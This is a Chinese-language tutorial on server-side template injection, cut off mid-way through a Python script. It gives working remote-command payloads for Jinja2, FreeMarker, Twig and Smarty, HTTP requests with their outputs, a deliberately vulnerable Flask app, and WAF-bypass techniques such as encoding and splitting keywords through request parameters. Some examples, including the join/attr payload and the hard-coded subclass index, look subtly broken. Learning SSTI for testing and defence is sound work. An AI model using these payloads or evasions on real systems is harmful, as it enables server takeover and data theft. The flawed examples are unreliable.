服务器端模板注入(Server-Side Template Injection, SSTI)是一种发生在服务端模板引擎中的代码注入漏洞。当用户输入未经严格验证或过滤直接嵌入模板中,模板引擎在渲染时将其作为代码执行,攻击者可借此执行恶意操作,如读取敏感数据、篡改逻辑、执行远程命令(RCE),甚至完全接管服务器。SSTI 漏洞常见于动态渲染用户输入的 Web 应用,尤其在使用 Python(Jinja2)、PHP(Twig)、Java(FreeMarker)等模板引擎的场景。
以下是常见模板引擎及其所属技术栈:
Python:Jinja2、Mako、Tornado Template
PHP:Smarty、Twig、Blade
Java:FreeMarker、Velocity、Thymeleaf
JavaScript:Handlebars、EJS(多用于客户端,但服务端渲染可能被利用)
其他:Ruby 的 ERB、Go 的 html/template
信息泄露:访问配置文件、环境变量或数据库凭据。
逻辑篡改:绕过认证或修改页面逻辑。
远程命令执行:执行系统命令,获取服务器控制权。
拒绝服务:通过恶意循环或资源消耗导致服务不可用。
模板引擎用于分离用户界面与业务数据,生成特定格式的文档(如 HTML)。通过占位符(如{{ name }})和控制语句(如{% if %}),模板引擎在运行时替换数据并执行逻辑,生成最终页面。模板引擎的优势包括:
界面与数据分离:提高开发效率,代码复用性更强。
动态内容生成:支持循环、条件判断等逻辑。
跨技术栈支持:适用于多种编程语言(如 Python、PHP、Java)。
置换型:仅替换占位符,如 Mustache。
解释型:支持复杂逻辑(如条件、循环),如 Jinja2、Twig。
编译型:将模板编译为可执行代码,如 FreeMarker。
SSTI 漏洞的根本原因是用户输入未经充分过滤,直接嵌入模板或作为模板引擎的参数,导致模板引擎将其解析为可执行代码。典型场景:
使用render_template_string(user_input)而非render_template。
未限制模板引擎访问危险对象(如 Python 的__globals__或 Java 的java.lang.Runtime)。
示例:用户输入{{7*7}},若返回49,表明存在 SSTI 漏洞。
寻找注入点:通过输入框、URL 参数、表单等提交模板语法(如{{}}或{% %})。
构造恶意 payload:利用模板引擎特性,访问敏感对象或执行命令。
触发执行:模板引擎解析并执行 payload,可能导致信息泄露或 RCE。
攻击者注入的输入被解析为模板表达式并在服务端执行。例如,在 Jinja2 中:
{{ 7 * 7 }}
输出:49,表明用户输入被执行为代码。
攻击者利用模板的控制语句(如条件、循环)篡改渲染逻辑。例如:
{% if 'admin' in user_role %}
欢迎管理员
{% else %}
普通用户
{% endif %}
若user_role可控,攻击者可注入"admin"伪装管理员身份。
某些模板引擎允许访问底层对象,导致远程命令执行。例如,在 Jinja2 中:
{{ ''.__class__.__mro__[1].__subclasses__()[159].__init__.__globals__['os'].popen('id').read() }}
输出:
uid=1000(user) gid=1000(user) groups=1000(user)
部分模板引擎支持文件操作,攻击者可读取敏感文件。例如,在 FreeMarker 中:
<#include "/etc/passwd">
可能直接读取/etc/passwd文件。
信息收集:
确定目标使用的编程语言和模板引擎(如 Flask 使用 Jinja2)。
测试注入点:URL 参数、表单、评论区、HTTP 请求头等。
提交测试 payload:{{7*7}}或{% print(1+1) %},观察是否被解析。
了解模板引擎特性:
Jinja2:支持 Python 反射(如__class__,__globals__)。
Twig:支持过滤器和回调函数。
FreeMarker:支持 Java 类调用(如?new())。
确认漏洞:
请求:http://example.com/?name={{7*7}}
响应:49(表明 Jinja2 SSTI 漏洞存在)。
构造 payload:
读取配置:{{ config }}
执行命令:{{ ''.__class__.__mro__[1].__subclasses__()[159].__init__.__globals__['os'].popen('whoami').read() }}
触发执行:
示例 HTTP 请求:
GET /?name={{config.__class__.__init__.__globals__['os'].popen('whoami').read()}} HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close
响应:
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 20
www-data
以下是一个存在 SSTI 漏洞的 Flask 应用:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/unsafe')
def unsafe():
name = request.args.get('name', 'World')
template = f'<h1>Hello, {name}!</h1>'
return render_template_string(template)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080, debug=True)
测试步骤:
访问:http://127.0.0.1:8080/unsafe?name={{7*7}}
响应:<h1>Hello, 49!</h1>
构造 RCE payload:
访问:http://127.0.0.1:8080/unsafe?name={{''.__class__.__mro__[1].__subclasses__()[159].__init__.__globals__['os'].popen('whoami').read()}}
响应:<h1>Hello, www-data!</h1>
FreeMarker:
${"freemarker.template.utility.Execute"?new()("id")}
输出:uid=1000(user) gid=1000(user) groups=1000(user)
Twig:
{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}
Smarty(老版本):
{php}echo shell_exec('id');{/php}
模板继承允许子模板覆盖父模板的区块,攻击者可利用内置模板或虚拟继承构造 payload。例如,在 Jinja2 中:
{% extends "base.html" %}
{% block content %}
{{ ''.__class__.__mro__[1].__subclasses__()[159].__init__.__globals__['os'].popen('id').read() }}
{% endblock %}
通过覆盖关键区块,攻击者可执行恶意代码。
WAF 可能通过关键字匹配(如__globals__,popen,eval)拦截 SSTI payload。以下是详细的绕过方法,结合代码和数据包示例:
将 payload 进行 URL 编码、Unicode 编码或 Base64 编码:
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
编码后:
%7B%7Bconfig.__class__.__init__.__globals__%5B%27os%27%5D.popen%28%27id%27%29.read%28%29%7D%7D
使用过滤器(如join)拆解关键字:
{{ ['o','s']|join|attr('popen')('id')|attr('read')() }}
利用控制语句隐藏 payload:
{% if true %}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{% endif %}
request对象通过request.args或request.form动态拼接关键字:
GET /unsafe?name={{lipsum.__globals__[request.args.key].popen(request.args.cmd).read()}}&key=os&cmd=ls HTTP/1.1
Host: example.com
或 POST 请求:
import requests
url = "http://example.com/unsafe"
data = {
'name': "{{lipsum.__globals__[request.form.key].popen(request.form.cmd).read()}}",
'